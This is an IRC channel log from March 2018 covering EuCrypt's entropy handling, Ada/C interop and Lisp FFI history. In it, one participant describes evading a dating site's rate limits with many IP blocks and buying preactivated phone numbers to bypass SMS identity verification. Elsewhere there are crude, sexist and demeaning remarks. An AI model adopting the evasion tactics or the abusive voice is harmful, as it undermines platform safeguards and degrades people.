1787129;1520373556;a111;0 results for "\"radxa.com\"", http://btcbase.org/log-search?q=%22radxa.com%22
1787130;1520373561;mircea_popescu;apparently this is a thing.
1787131;1520373581;mircea_popescu;http://wiki.radxa.com/Home
1787132;1520373747;asciilifeform;mircea_popescu: 'rockchip' rk series. asciilifeform ported trb to these in 2015.
1787133;1520373779;mircea_popescu;aha. they have a (dead) freenode chan.
1787134;1520374764;mircea_popescu;"ARTIQ (Advanced Real-Time Infrastructure for Quantum physics) is a leading-edge"
1787135;1520374776;mircea_popescu;leading-edge! it's a leading-edge!
1787136;1520374885;BingoBoingo;!~ticker --market all
1787137;1520374891;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 10716.89, vol: 14101.07474564 | Bitfinex BTCUSD last: 10719.0, vol: 44379.30953958 | Kraken BTCUSD last: 10731.2, vol: 9893.67637678 | Volume-weighted last average: 10720.3301767
1787138;1520375452;*;mircea_popescu tried to read above-linked rundown of gnu failure at social media ; erection died about midway through. really, kids too clueless to comprehend how clueless they are  writing "the history" of how spurious irc re-implementation went nowhere ?
1787139;1520375677;deedbot;http://trilema.com/2018/and-in-other-dead-things/ << Trilema - And in other dead things...
1787140;1520375700;mod6;fuck all social media, i want gossip
1787141;1520375787;mircea_popescu;eh, i just want performance. they've got this thing now, where they're so desperate for cheap footage, they'll actually dress up athletes like they were people, seat them down in studios and make them talk.
1787142;1520375799;mircea_popescu;srsly nobody cares what random trained monkey has to say.
1787143;1520375818;mircea_popescu;strippers are for twerking not for tweeting.
1787144;1520376796;BingoBoingo;They have even went futher and started dressing up the broken monkeys in suits and moved them from shows about the sports they used to play to hosting the old people and NEET morning shows
1787145;1520376979;deedbot;http://thewhet.net/2018/03/sede-atlantico/ << The Whet - Sede Atlantico
1787146;1520378910;*;mircea_popescu ended up laughing ass off at trinque refuelling station once more.
1787147;1520378974;trinque;that one cracked me up.
1787148;1520379002;BingoBoingo;Balcony Disco!
1787149;1520379218;mircea_popescu;they're fuckin hopeless.
1787150;1520379232;mircea_popescu;government better be issuing more bonds.
1787151;1520404596;deedbot;http://trilema.com/2018/yapp/ << Trilema - YAPP
1787152;1520432202;deedbot;http://qntra.net/2018/03/attendees-drugged-at-brock-pierce-linked-event/ << Qntra - Attendees Drugged At Brock Pierce Linked Event
1787153;1520432326;BingoBoingo;^ And now this year appears to be getting a very 2012 feel as the ghost of Amir's anti-credibility campaign ramps up
1787154;1520439288;asciilifeform;BingoBoingo: http://p.bvulpes.com/pastes/SdN5D/?raw=true
1787155;1520442773;esthlos;hi there all, sorry for going awol. I've been following the logs but busy with a new job
1787156;1520442813;esthlos;to answer http://btcbase.org/log/2018-02-26#1786219, I'd like to finish my V implementation before anything else.
1787157;1520442813;a111;Logged on 2018-02-26 00:39 mircea_popescu: douchebag ? spyked ? esthlos ? ave1 ? mats ?
1787158;1520442872;esthlos;phf (or anyone else): is there a vpatch I can look at with the new format described here: http://btcbase.org/log/2018-01-23#1774760  ?
1787159;1520442872;a111;Logged on 2018-01-23 14:28 mircea_popescu: esthlos it is not standard procedure ; the emerging consensus is to have a dedicated philosophy file which a) all patches must touch (by protocol) ; b) contains comments as to the patcher's state of mind and c) contains one line per patch uniquely identifying it, machine generated. the format's not fixed yet, but as phf is working on a new proper vdiff it's probably going to coalesce around a variant of whatever he uses.
1787160;1520442912;trinque;no, someone has yet to implement it.
1787161;1520442939;esthlos;I can take a stab at it
1787162;1520445828;asciilifeform;BingoBoingo: encore: http://p.bvulpes.com/pastes/PHWXt/?raw=true
1787163;1520450306;mircea_popescu;esthlos i don't get it, you're going to take a stab "at it" ie making a textfile, the sort that only carries any sort of weight or importance if a) you're somebody and b) you're doing something important, in between whenever your fiat job permits you a few hours here and there ?
1787164;1520450313;mircea_popescu;this logic is fundamentally broken.
1787165;1520450384;mircea_popescu;i'm certainly not puting the "this is how it is" imprimatur on some training mock-up of v implemented by some new kid. and in general enough with this burning of steps in a hollow quest for equality, you're not phf, and there is ONLY ONE WAY to become phf.
1787166;1520450475;mircea_popescu;that only way is utterly and most pointedly NOT http://trilema.com/2013/how-lord-lentil-became-a-thing/#selection-363.125-363.223 ; and you, as well as everyone, can forthwith consider the admin asked you to stop.
1787167;1520450496;mircea_popescu;now less excuses, none of this "my pantsuit existence comes before the republic" ever again and more productivity. MUCH more productivity.
1787168;1520450630;mircea_popescu;where were you while these doods were turning their life around, flying to uruguay and etcetera anyway ?
1787169;1520465186;BingoBoingo;Guess where the conference is?
1787170;1520465768;asciilifeform;!!up renard_abroad
1787171;1520465772;deedbot;renard_abroad voiced for 30 minutes.
1787172;1520465811;renard_abroad;ty asciilifeform
1787173;1520465824;renard_abroad;hola todos
1787174;1520466432;deedbot;http://qntra.net/2018/03/mtgox-coins-getting-dumped-in-waterfall/ << Qntra - MtGox Coins Getting Dumped In Waterfall
1787175;1520466603;deedbot;http://qntra.net/2018/03/113-gigawatt-hours-go-missing-in-europe/ << Qntra - 113 GigaWatt Hours Go Missing In Europe
1787176;1520466953;mircea_popescu;i had no idea how much i actually missed qntra.
1787177;1520467237;mircea_popescu;* renard_abroad (~mrfox@r201-217-148-155.ir-static.anteldata.net.uy) << check him out. how's teh uruguashos bunnies, mr fox ?
1787178;1520467649;renard_abroad;they wear heels and have bare midriffs and holy crap the butts
1787179;1520467700;renard_abroad;but also are very strangely short and frequently wearing the kind of makeup that makes skin worse
1787180;1520467829;BingoBoingo;Wait till you see them in the daylight
1787181;1520467861;renard_abroad;are the chemical burns that much more visible?
1787182;1520467874;BingoBoingo;Oh yeah, hence the sunscreen run
1787183;1520468196;mircea_popescu;myeah.
1787184;1520468363;mircea_popescu;in other lulz of the ongoing fetlife saga, they've MASSIVELY rate limited profile views. check out ~100 people in an hour or so, get timed out.
1787185;1520468400;mircea_popescu;so big deal, right, i have more c blocks than baku had girlfriends. except, wait for it... new accounts require SMS verification! everything must be facebook!
1787186;1520468448;mircea_popescu;sooo... big deal, 1 sent girl to buy a bagful of phone numbers. they cost, no joke, $2.5 here. EXCEPT, of course, they want your "cedula", you know, "por activacion".
1787187;1520468462;mircea_popescu;which is not a big deal at all, considering most any shop will sell you preactivated ones nqa anyway.
1787188;1520468472;BingoBoingo;<mircea_popescu> i had no idea how much i actually missed qntra. << Turns out it isn't absence that makes the heart grow fonder, but the return!
1787189;1520468505;mircea_popescu;this entire exercise in idiocy has, practically speaking, resulted in me paying various hard working ticos a grand or so, to the people fucking in the ass the "security" paradigm of pantsuit.fetlife. IN LIEU of having paid that much, and rather more, to the fetlife itself.
1787190;1520468529;mircea_popescu;but this paradigm where "we will cater to the peniless but opinionated female herd, instead of the rich and actually powerful white male" fucked them over.
1787191;1520468546;asciilifeform;hm i thought fetlife was the usual 'ad-supported' 'phree' crapola, rather than a pay www
1787192;1520468604;mircea_popescu;they have the "bef for moneys" thing. like shareware.
1787193;1520468617;asciilifeform;ah
1787194;1520468650;mircea_popescu;the "online ads" thing is so fucking dead, alphabet continuing to claim that as income is much more scandalous fraud than anything gaddafi ever did.
1787195;1520468732;asciilifeform;not substantially different from other american 'incomes', e.g. lockheed's , ( i.e. usg prints printolade, sends straight to $designateds )
1787196;1520468986;mircea_popescu;fraud is exactly the circumvolution.
1787197;1520470571;mircea_popescu;anyway. i guess nothing in the world is harder than fucking groking the http://trilema.com/2014/namecheap-goes-off-the-deep-end-anyone-know-a-decent-domain-registrar/ lesson. especially when one's dedicated his life to not ever groking it.
1787198;1520482381;mircea_popescu;aand in other lulz, a particularly dedicated scanner : http://p.bvulpes.com/pastes/CPKIF/?raw=true
1787199;1520482383;mircea_popescu;even looks for joe!
1787200;1520495855;deedbot;http://barksinthewind.com/2018/vtools-c-interop-other-fixes/ << BARKS IN THE WIND - vtools C interop, other fixes
1787201;1520514237;deedbot;http://www.dianacoman.com/2018/03/08/eucrypt-compilation-sheet/ << Ossasepia - EuCrypt: Compilation Sheet
1787202;1520515078;deedbot;http://qntra.net/2018/03/nationalist-dissident-group-leadership-incarcerated-in-britain/ << Qntra - Nationalist Dissident Group Leadership Incarcerated In Britain
1787203;1520518524;ave1;diana_coman, I'm reading through the eucrypt / RSA code and see that the 'get_random_prime' function will open and close the random number generator itself. I would like to open the entropy source once and reuse it, but maybe there is good reason to do it like this and I should not attempt to do it differently?
1787204;1520518541;diana_coman;ave1, there is one function for that too
1787205;1520518672;diana_coman;ave1 there is open_entropy_source which simply opens it and returns the handle; then you can use it for as long as you want, with get_random_octets_from (rather than get_random_octets)
1787206;1520518827;ave1;Yes, I understand that part. I'm looking at 'get_random_prime'. Which will be called twice to generate a key-pair.
1787207;1520518839;ave1;I want to use a single "entropy" file.
1787208;1520518854;ave1;So a pregenerated bag with bytes
1787209;1520518876;diana_coman;to answer the question directly: you can certainly do it with reuse; the reason I avoided it there is because otherwise the caller needs to handle/be aware of the entropy source per se; which did not really belong in the caller
1787210;1520518878;ave1;And do get_random_prime twice on it, but the second time not from the start
1787211;1520518925;ave1;I understand, and then the handle will also be needed in the gen keypair etc.
1787212;1520518931;diana_coman;exactly
1787213;1520519033;ave1;nice code BTW, very easy to read and understand.
1787214;1520519035;diana_coman;you can certainly do it the way you describe - I don't see a hard reason against it if you are all right with passing the handle around/keeping track of it everywhere; other than that, the functionality itself should be fine
1787215;1520519044;diana_coman;ave1 hey, thanks!
1787216;1520519227;ave1;I'll have to think about it, I do not want to make changes that make things more complex for "reasons" and then more complex enzovoorts enzovoorts. And then end up with PGP
1787217;1520519295;diana_coman;for completeness: there is in fact a performance penalty for opening/closing the entropy source repeatedly, so from this point of view yes, you'd want it open and reused; that being said, it's not a massive penalty and atm I can live with it
1787218;1520519353;diana_coman;heh, there is that slippery slope; and note that in all that there, it's still that darned mpi that is the biggest part and I am absolutely not convinced it has to be THAT big
1787219;1520519381;diana_coman;but for now it survives as it is because there are so many other things that are more pressing, sigh
1787220;1520519394;ave1;Well the nice code comment was not about the MPI part!
1787221;1520519416;diana_coman;:D
1787222;1520519452;diana_coman;btw ave1 did you ever try eulora?
1787223;1520519525;ave1;No, not yet, I want to do that one of these days. (Real life keeps interfering)
1787224;1520519917;ave1;I've started on http://btcbase.org/log/2018-02-28#1786498, in Ada code and now I'm debating if I shouldn't just move the code to C as the eucrypt interface is C. But then maybe eucrypt will move to FFA someday in the future and Ada will be a benifit. (Working on code with lot's of C calls in Ada is not nice...)
1787225;1520519917;a111;Logged on 2018-02-28 15:57 mircea_popescu: ave1 you should ; also read through the eucrypt thing, ima (for instance) need someone to package it into a cmd line gpg replacement as soon as next wek.
1787226;1520519963;ave1;*benefit
1787227;1520520325;diana_coman;trouble with the future is that it is...the future; I'd have gladly avoided C all together but unfortunately mpi is in C and then eulora relies on a lot of C code still
1787228;1520520448;diana_coman;as to trying eulora: it's not time consuming really; I guess the initial jump can seem intimidating until you figure out what is what and what to do
1787229;1520521720;ave1;k, will install the client this week-end (instructions seem not that hard to follow)
1787230;1520521908;diana_coman;cool; shout in #eulora if you need help/get stuck on anything
1787231;1520523756;mircea_popescu;http://btcbase.org/log/2018-03-08#1787213 << i'm glad to hear.
1787232;1520523756;a111;Logged on 2018-03-08 14:23 ave1: nice code BTW, very easy to read and understand.
1787233;1520524013;mircea_popescu;http://btcbase.org/log/2018-03-08#1787216 << it seems rather, that first you should evaluate the http://btcbase.org/log/2018-03-08#1787207 and see if indeed it makes sense, or it's just the proverbial "first notion that formed in head upon quarter seccond's apprehension of $item" ; if indeed it is needed, legitimately, then the next step is to make a file handler that eats your file as you want it on one hand and emulates fg
1787234;1520524013;a111;Logged on 2018-03-08 14:27 ave1: I'll have to think about it, I do not want to make changes that make things more complex for "reasons" and then more complex enzovoorts enzovoorts. And then end up with PGP
1787235;1520524013;a111;Logged on 2018-03-08 14:20 ave1: I want to use a single "entropy" file.
1787236;1520524014;mircea_popescu;behaviour on the other end.
1787237;1520524049;mircea_popescu;this a) would be actually simpler, in engineering terms, than the other possible approach your mind immediately ran to (simple, here, is a term of art -- it includes all costs, maintenance, readability, etc) ; and b) it keeps complexity where complexity belongs, which is to say upon the shoulders of the thing that wanted it in the first place.
1787238;1520524127;mircea_popescu;it is not an idle comment to observe that the universalist nature of pantsuitism manifests here exactly as everywhere -- their sad, broken cargocultish tech-ersatz does exactly what their sad, broken fake of an economy etc : rolls up the small costs into a larger one to be paid "in the future", which to them is a term of art specifically meaning never.
1787239;1520524190;mircea_popescu;but just like we don't do the esthlos "o hai guise, i contribute half hour every third week between my radiomodelling hour and my watching cheerleader sports in the den" github dev model, we also don't do the "we'll underwrite your complexity under our brand" torvalds approach.
1787240;1520525295;mircea_popescu;whole fucking IDEA of a kernel was exactly this, "fuck you $vendor, if you need a whole programming language to init your pos peripheral YOU support it ; we'll just grin from the sidelines while the marketplace drives your inanity out of itself".
1787241;1520525325;mircea_popescu;sadly the idiots team up faster and easier than thinking people do, so instead of linux driving nvidia out of business, the vice-versa occured.
1787242;1520525610;mircea_popescu;(this team-up disparity, incidentally, can readily be explained in republican terms ; it all revolves around http://trilema.com/2017/the-practical-costs-of-hallucinated-freedom/ -- specifically, thinking people need a much larger sunken cost to evaluate their choices and come to the correct conclusion they got none. this is a lot more evident to idiots. as this disparity flows from the definitions of terms...)
1787243;1520526486;mircea_popescu;http://btcbase.org/log/2018-03-08#1787224 << i don't expect eucrypt will ever move to ffa. this is in no sense a disidence, or any negative comment on ffa whatsoever. they are intended and designed as very different usecase solutions -- note the speed differential incumbent. eucrypt works as a "good enough" item, it principally intends to support a game, and same-level crypto needs. it's consequently to be light, fast, and ~r
1787244;1520526486;a111;Logged on 2018-03-08 14:38 ave1: I've started on http://btcbase.org/log/2018-02-28#1786498, in Ada code and now I'm debating if I shouldn't just move the code to C as the eucrypt interface is C. But then maybe eucrypt will move to FFA someday in the future and Ada will be a benifit. (Working on code with lot's of C calls in Ada is not nice...)
1787245;1520526486;mircea_popescu;easonably~ secure.
1787246;1520526580;mircea_popescu;we will evidently have a ffa-based, canonical gpg replacement. EVENTUALLY. until such an eventually, i don't feel so great recommending anyone gpg (or, heavens help us, http://btcbase.org/log/2018-01-22#1774477 -- just as i had to do, and recently). so a drop-in, eucrypt-based, "good enough" item is more than useful.
1787247;1520526580;a111;Logged on 2018-01-22 23:49 mircea_popescu: hey shinohai where was the official kleopatra sauce ?
1787248;1520526642;mircea_popescu;and that "good enough"... anyone reading through teh discussion of gpg in eucrypt comments, or in channel for that matter can readily grok just how fucking uselessly broken gpg is. yet "good enough" for everyone else.
1787249;1520526824;mircea_popescu;ave1 is your dancing around the entropy problem with files etc driven by the fact you don't have a fg, incidentally ?
1787250;1520527052;*;asciilifeform read the log just nao, and can't quite figure out whether ave1 was attempting to implement a mechanism similar to asciilifeform's ch8 ( http://www.loper-os.org/?p=2175 ) or something entirely else
1787251;1520527176;mircea_popescu;"the log" being today 70 lines or 2k words. i don't think this ever happeend before in teh history of irc.
1787252;1520527620;asciilifeform;pretty sure there was at least 1 day with even lighter one
1787253;1520527634;mircea_popescu;no i meant teh density.
1787254;1520527654;asciilifeform;good snr will do this.
1787255;1520529227;phf;ave1: responded http://barksinthewind.com/2018/vtools-c-interop-other-fixes/#comment-21
1787256;1520529263;phf;i think i might've still used yet another ada/c interop. it's not the char_ptr, it's interfaces.c.pointer
1787257;1520529292;mircea_popescu;word. heathen log looks morel like... http://p.bvulpes.com/pastes/HOUsZ/?raw=true
1787258;1520529300;mircea_popescu;jesus that was a spelunking exercise, finding that log.
1787259;1520529353;asciilifeform;holyfuq mircea_popescu , they have a +v chan ?! didja write'em their bot ?
1787260;1520529363;mircea_popescu;it's not at all +v.
1787261;1520529375;mircea_popescu;i thought that kitty item is a bot at first, which is why i said hi. it's a woman.
1787262;1520529377;asciilifeform;'CollarBot gives voice to danni[D]' ?
1787263;1520529386;mircea_popescu;yes but it does ~nothing.
1787264;1520529391;asciilifeform;aahm.
1787265;1520529410;mircea_popescu;just because you saw injun with baseball bat dun mean injuns play baseball.
1787266;1520529420;phf;i think i'll write it up separately, because i like the approach. you have a generic package pointers, that you specialize with C types, like Interfaces.C.Pointers (Index => size_t, Element => char, Element_Array => char_array), and then you do explicit pointer arithmetic using procedures on that.
1787267;1520529442;asciilifeform;mircea_popescu: legendarily, in '90s ru baseball bats were sold errywhere, but no one had ever seen the ball or the glove...
1787268;1520529450;mircea_popescu;phf why ARE there so many of these, btw ?
1787269;1520529458;mircea_popescu;asciilifeform aha. ro ~same thing.
1787270;1520529459;phf;mircea_popescu: my thoughts exactly.
1787271;1520529502;mircea_popescu;not for us to know, huh.
1787272;1520529682;phf;so ada95 only has from_c/to_ada, using char_ptrs/char_array, pointers only appear in ada2000. ~maybe~ they ran into limitations of that interfaces, that are somehow imposed by the spec, that we're missing (but running into effects of that), so to address the issue they introduced yet another method.
1787273;1520529829;phf;common lisp sidestepped that issue by not standardizing the ffi at all, and there are still hairy parts in all the implementations. there's fundamentally folly in talking to C word, which you have to do on C's terms
1787274;1520530138;mircea_popescu;im not sure i understand the problem. explain this to me, why can't i talk to c world on my terms ?
1787275;1520530426;phf;you can, of course, symbolics did it by writing own c compiler, that targeted genera. but "we" don't have our own os, or our own c compiler. so whatever calling conventions, data representation conventions and such that C imposes and that are baked into compiler/kernel/architecture is what you have to write to
1787276;1520530554;mircea_popescu;but why can't you just have a tolkienring class, in c, that spits out proper data ?
1787277;1520530590;mircea_popescu;"you can only talk to orc in barbar" problem was traditionally resolved through "extrateritoriality", ie make a base and shoot the orcs that fail to grok what perimeter means.
1787278;1520530787;mircea_popescu;"hong kong", as in, "what trade happens in your country will happen in english and as per english law" would be the opposite of "unicode", conceptually.
1787279;1520530911;asciilifeform;mircea_popescu: the directly analogous to 'hong kong' algo would be (brace yerself) separate processes for ada and c-crapolade, connected via ipc (under a unixlike, prolly 'domainsocket'). because otherwise, they live in same process, and if c-crapolade is entrusted with making e.g. a valid adastring, it can lie about the length and hose the ada routine, or simply fandango over address space as c-crapolade is wont to, and so forth.
1787280;1520530960;mircea_popescu;asciilifeform a lot of interfacing problems are actually exposed by ave1 's comment above, which could also be read in the general form of "hey, the fundamental problem of electric communications (ie, how to make file and socket work together) is STILL unsolved".
1787281;1520530973;phf;i don't think that explanation quite addresses the analogy, though that would be the concern
1787282;1520531035;mircea_popescu;evidently "entropy" requires, conceptually, a socket. a file is thje opposite of this, and the opposition is rendered by the word "specifically". a socket and a file differ in that files have lengths, sockets have widths.
1787283;1520531048;phf;in this case though hong kong would be if we could beat the authors of c code into providing ada conformant interfaces for us. because if you're the same person who's writing ada and who's writing the interop code (in ada or C, it doesn't matter) you're still "talking in orc"
1787284;1520531062;asciilifeform;there are several interacting problems. one of which is that the fundamental mechanism baked into c for dealing with arrays (where it is not possible to mechanically calculate the length of an array ~at all times~ because it is not in fact stored anywhere ) is broken in the most fundamental way possible
1787285;1520531098;mircea_popescu;phf i can't resolve the antecedents, what is "that" in "that explanation" and what is "that" in "that would be the concern" ?
1787286;1520531119;mircea_popescu;in any case, the english didn't force the chinese to understand what contracts are. they just gave ~themselves~ passports and acted as if they were in england.
1787287;1520531152;phf;mircea_popescu: "that explanation" is what ascii is saying about how C is broken and lies
1787288;1520531154;mircea_popescu;asciilifeform you can allocate actual arrays, rather than pointer-arrays neh ?
1787289;1520531232;asciilifeform;mircea_popescu: you can 'emulate ada' in c, sure. but 'array's length is kept ALWAYS right next to the array' is not part of the language's fundamental abstractions. and os api (any and all of'em) don't follow it; and libc; and so on.
1787290;1520531266;mircea_popescu;myeah.
1787291;1520531314;mircea_popescu;phf back upstack, the argument can be brought that lisp failing to standardize [the only item that actually needed it] the ffi is actually why lisp failed ; both as a standard and as a technical solution.
1787292;1520531342;mircea_popescu;certainly closer to the actual hot core of the mess than "oh, commercial blabla, and then the involved idiots had "egos" aka http://btcbase.org/log/2018-03-08#1787242 )
1787293;1520531342;a111;Logged on 2018-03-08 16:13 mircea_popescu: (this team-up disparity, incidentally, can readily be explained in republican terms ; it all revolves around http://trilema.com/2017/the-practical-costs-of-hallucinated-freedom/ -- specifically, thinking people need a much larger sunken cost to evaluate their choices and come to the correct conclusion they got none. this is a lot more evident to idiots. as this disparity flows from the definitions of terms...)
1787294;1520531491;asciilifeform;c,cpp, not only do not have 'standard ffi' ( try an' link libs made by microshit, say, to gnu's, or intel's ) but not even has standard... integer handling ( e.g. overflow is ~undefined~ condition ), didn't seem to hurt its, if one dare use the word, 'successes'
1787295;1520531503;phf;lisp failed to even identify the need for ffi, when it was standardized i don't think there even were lisps that could or needed to ffi, since they all ran on lisp machines
1787296;1520531556;asciilifeform;( see megathread on subj, http://btcbase.org/log/2017-06-03#1665150 )
1787297;1520531556;a111;Logged on 2017-06-03 02:41 asciilifeform: you can't actually write a nontrivial c proggy without undefined behaviour.
1787298;1520531612;trinque;could still be said that it helped kill lisp, if getting lisp to take root takes longer than c.
1787299;1520531628;mircea_popescu;http://btcbase.org/log/2018-03-08#1787294 << but one wouldn't so dare. yes, i'm aware what passes for theater among the huts has more in common with punch and judy and organ grinding than anything. speaking of which -- yesterday my coffee wasd disturbed by chorus of overexcited pubescent girlies.
1787300;1520531628;a111;Logged on 2018-03-08 17:51 asciilifeform: c,cpp, not only do not have 'standard ffi' ( try an' link libs made by microshit, say, to gnu's, or intel's ) but not even has standard... integer handling ( e.g. overflow is ~undefined~ condition ), didn't seem to hurt its, if one dare use the word, 'successes'
1787301;1520531661;mircea_popescu;they had been to the "theater", in the very coquettish baroque building here, where i have coffee. the play was some "Bram stoker's dracula" production, but of course it had nothing to do with it, and you can tell by the following sign :
1787302;1520531674;mircea_popescu;the lead was a YOUNG man. whereas stoker's dracula is fundamentally the old guy.
1787303;1520531710;asciilifeform;trinque: lisps on cmachine may or may not have ever 'lived'. rather than 'killed'. extremely hostile environment , where the conventions of civilized life are unavailable , os api passes unbacked promises around, barfs mid-op in midst of arbitrary ops without any error handling, etc
1787304;1520531721;mircea_popescu;what they did, referentially, as hanbot cleverly pointed out, is they called it "bram stoker's dracula" because the coppola version, which is what spawned this modern nonsense of young-male-vampire, CALLED it that. they have nfi who coppola was, or stoker for that matter. they just COPIED THE STRING.
1787305;1520531736;mircea_popescu;hence, successes. strikes me as the c-ing-est, most adnotated, meaningless drivel approach possible. innit ?
1787306;1520531799;mircea_popescu;(the social milieu in which old men had, and alone had, the gold to pay for squeezing the manna out of the young hussies, which even created "dracula" the original in the first place, is of course long gone under the weight of http://btcbase.org/log/2018-03-08#1787190 idiocy)
1787307;1520531799;a111;Logged on 2018-03-08 00:22 mircea_popescu: but this paradigm where "we will cater to the peniless but opinionated female herd, instead of the rich and actually powerful white male" fucked them over.
1787308;1520531848;asciilifeform;кощей !
1787309;1520531850;mircea_popescu;most unadnotated* i mean.
1787310;1520531893;asciilifeform;a 'young koschei' is a ridiculous notion. like dry mermaid.
1787311;1520531924;mircea_popescu;asciilifeform quite. anyway, to summarize : some idiot (from argentina -- and you should have seen his overwhelmed, $10 an hour cafeteria worker expression when the herd of pubescent latinas pinned him against the wall) and some other idiot (luis whatever, the director) COPIED THE STRING "bram stoker's dracula" from a coppola production, unaware of either coppola or stoker, or even the MEANING of the ' possesive convention.
1787312;1520531927;mircea_popescu;this is fucking c.
1787313;1520531973;mircea_popescu;but it is no kind of success, unless i nthe vein of bare life, zoon bacterion.
1787314;1520531981;asciilifeform;exactly that kind.
1787315;1520531995;mircea_popescu;yes well. not what we're talking aboot. and now i shall proceed to reread this monsterball.
1787316;1520532000;asciilifeform;( could expand, but imho naggum beat the subject to a very satisfying death )
1787317;1520532149;mircea_popescu;phf wtf is a lytdybr anyway
1787318;1520532205;mircea_popescu;also fucking terrible comments interface you got there ; how do i know how many there are ? before clicking on the article ; and how do i visually separate them, and why aren';t they numbered and so on.
1787319;1520532425;mircea_popescu;http://btcbase.org/log/2018-03-08#1787272 << and maybe they never said anything about this anywhere nor is there anyone in charge of the project i could ask and he could point me to the log line nor anything else. bloody fucking hell. maybe. maybe i fucked their mothers and they never told me they got caught, and now i have a bunch of idiotic sons with congenital clap.
1787320;1520532425;a111;Logged on 2018-03-08 17:21 phf: so ada95 only has from_c/to_ada, using char_ptrs/char_array, pointers only appear in ada2000. ~maybe~ they ran into limitations of that interfaces, that are somehow imposed by the spec, that we're missing (but running into effects of that), so to address the issue they introduced yet another method.
1787321;1520532539;asciilifeform;http://www.adaic.org/resources/add_content/standards/95rat/rat95html/rat95-p3-b.html << afaik the only known archaeology
1787322;1520532549;mircea_popescu;if "hey doods, we're making a major fucking design change for these reasons" doesn't get prominently communicated, then what the fuck does ? "girls can code" !?
1787323;1520532784;mircea_popescu;"It is very important for Ada 95 programs to be able to interface effectively with systems written in other languages. To achieve this goal we have supplied three pragmas for interfacing with non-Ada software, and child packages Interfaces.C, Interfaces.COBOL, and Interfaces.Fortran which declare types, subprograms and other entities useful for interfacing with the three languages." reads to me like "it is very important for
1787324;1520532785;mircea_popescu;soldier to be able to effectively shoot enemy ; to achieve this goal we've provided some .45 caliber bullets, an array of nato-chambered rifles and a copy of alf's favourite panzer manual." holy fuck who thinks like this!
1787325;1520532801;mircea_popescu;and sorry for the lengthy pastes, but guess who doesn't have the sense to permit /#selection
1787326;1520533029;mircea_popescu;http://www.adaic.org/resources/add_content/standards/95rat/rat95html/rat95-author.html << anyone kind enough to email the guy who says he always answers email, ask if he's willing to take an interview over the things and matters surrounding the decision to upgrade  ada95's from_c/to_ada with pointers, and if he's willing have him join here ?
1787327;1520533524;mircea_popescu;the connection between http://btcbase.org/log/2018-03-08#1787279 and http://btcbase.org/log/2018-03-08#1787233 and, of course, http://btcbase.org/log-search?q=uci is that no, they wouldn't be separate processes (and no, http://btcbase.org/log/2018-02-14#1783826 hasn't gone anywhere) but SEPARATE MACHINES.
1787328;1520533524;a111;Logged on 2018-03-08 17:41 asciilifeform: mircea_popescu: the directly analogous to 'hong kong' algo would be (brace yerself) separate processes for ada and c-crapolade, connected via ipc (under a unixlike, prolly 'domainsocket'). because otherwise, they live in same process, and if c-crapolade is entrusted with making e.g. a valid adastring, it can lie about the length and hose the ada routine, or simply fandango over address space as c-crapolade is wont to, and so forth.
1787329;1520533524;a111;Logged on 2018-03-08 15:46 mircea_popescu: http://btcbase.org/log/2018-03-08#1787216 << it seems rather, that first you should evaluate the http://btcbase.org/log/2018-03-08#1787207 and see if indeed it makes sense, or it's just the proverbial "first notion that formed in head upon quarter seccond's apprehension of $item" ; if indeed it is needed, legitimately, then the next step is to make a file handler that eats your file as you want it on one hand and emulates fg
1787330;1520533524;a111;Logged on 2018-02-14 15:02 mircea_popescu: (this is the deep, and political meaning of the rowhammer class of attacks : it has rendered amazon's business entirely worthless ; much like basic physics make tesla be a paper-only usg venture, so now the last remaining flagship. all hopes now pinned on googles artificial "intelligence" [and i guess "quantum" wank].)
1787331;1520534015;mircea_popescu;http://btcbase.org/log/2018-03-08#1787295 << yes. a problem very much similar to raising a middle class girl in such poverty of stimuli she can't then cut it on her own, once off father's seclusion tank.
1787332;1520534015;a111;Logged on 2018-03-08 17:51 phf: lisp failed to even identify the need for ffi, when it was standardized i don't think there even were lisps that could or needed to ffi, since they all ran on lisp machines
1787333;1520534949;mircea_popescu;http://btcbase.org/log/2018-03-08#1787303 <<< the problem here is very much like the problem of http://btcbase.org/log/2018-01-31#1778809 : you look at item, call it "c machine" and think anachronistically it stands the test of time. it does not -- at the time lisp failed to properly specify, what became retrospectively "the c machine" did not exist yet ; and a different outlay of powers in the field / attractors on the table
1787334;1520534949;a111;Logged on 2018-03-08 17:55 asciilifeform: trinque: lisps on cmachine may or may not have ever 'lived'. rather than 'killed'. extremely hostile environment , where the conventions of civilized life are unavailable , os api passes unbacked promises around, barfs mid-op in midst of arbitrary ops without any error handling, etc
1787335;1520534949;a111;Logged on 2018-01-31 14:37 mp_en_viaje: there's absolutely no cause oher than historical accident that real ended at 16 bits.
1787336;1520534949;mircea_popescu; might've made it be different today.
1787337;1520535046;asciilifeform;re the process separation -- it is moar of a cardboard wall than actual wall, yes. i for one still prefer cardboard to no wall at all between toilet and kitchen.
1787338;1520535049;mircea_popescu;contrary to the claims "lisp is not a perl, commonlisp is a specification not an implementation" in thee 1984-1994 interval lisp was exactly a perl. it didn't have to be a perl, though, it could have been well specificed from the beginning.
1787339;1520535062;mircea_popescu;asciilifeform you mean process vs hardware ?
1787340;1520535063;asciilifeform;(nobody's getting actual separation without separate machines, no.)
1787341;1520535064;asciilifeform;aha
1787342;1520535071;mircea_popescu;yeah, i can see the argument.
1787343;1520535558;asciilifeform;re the standard ffi, the lispm folks, as i understand, saw it as an instance of http://trilema.com/2016/unicode-is-fucking-stupid-the-definitive-article/#selection-187.80-187.399 , and i'm not convinced that they were wrong
1787344;1520535741;asciilifeform;the only 'common language' one can find to talk to bacteria -- is bleach.
1787345;1520535796;trinque;sounds like the way you end up Emperor Norton of California
1787346;1520535819;trinque;or what was it, of USA, the world, something
1787347;1520535899;trinque;a sort of allergic refusal to engage the world strategically as it is, battle already won in mind.
1787348;1520536121;trinque;not that the world gives happy endings down any branch; we'd perhaps be loathing what lisp might've become as much as java, had it "won"
1787349;1520536229;asciilifeform;the correct algo, i suspect, is not to lament an abstract 'lisp' that 'became' wrong thing, but to simply confiscate whole stack from the heathens.
1787350;1520536275;asciilifeform;(neither easy, not quick, nor cheap, but whoever lives to the end of this, will not ask after 'ffi' etc)
1787351;1520536809;asciilifeform;trinque : out of curiosity : do you see, e.g., asciilifeform's amputation of all microshit #ifdef... crapola from trb, as mistake ? 'fails to strategically engage the world-as-it-is' ?
1787352;1520536868;asciilifeform;just how near to the level of monkey, are men to drop, to 'engage' with monkeys ?
1787353;1520536896;trinque;apparently low enough to learn c++, which I refused to lift into my head nearly all my career until trb.
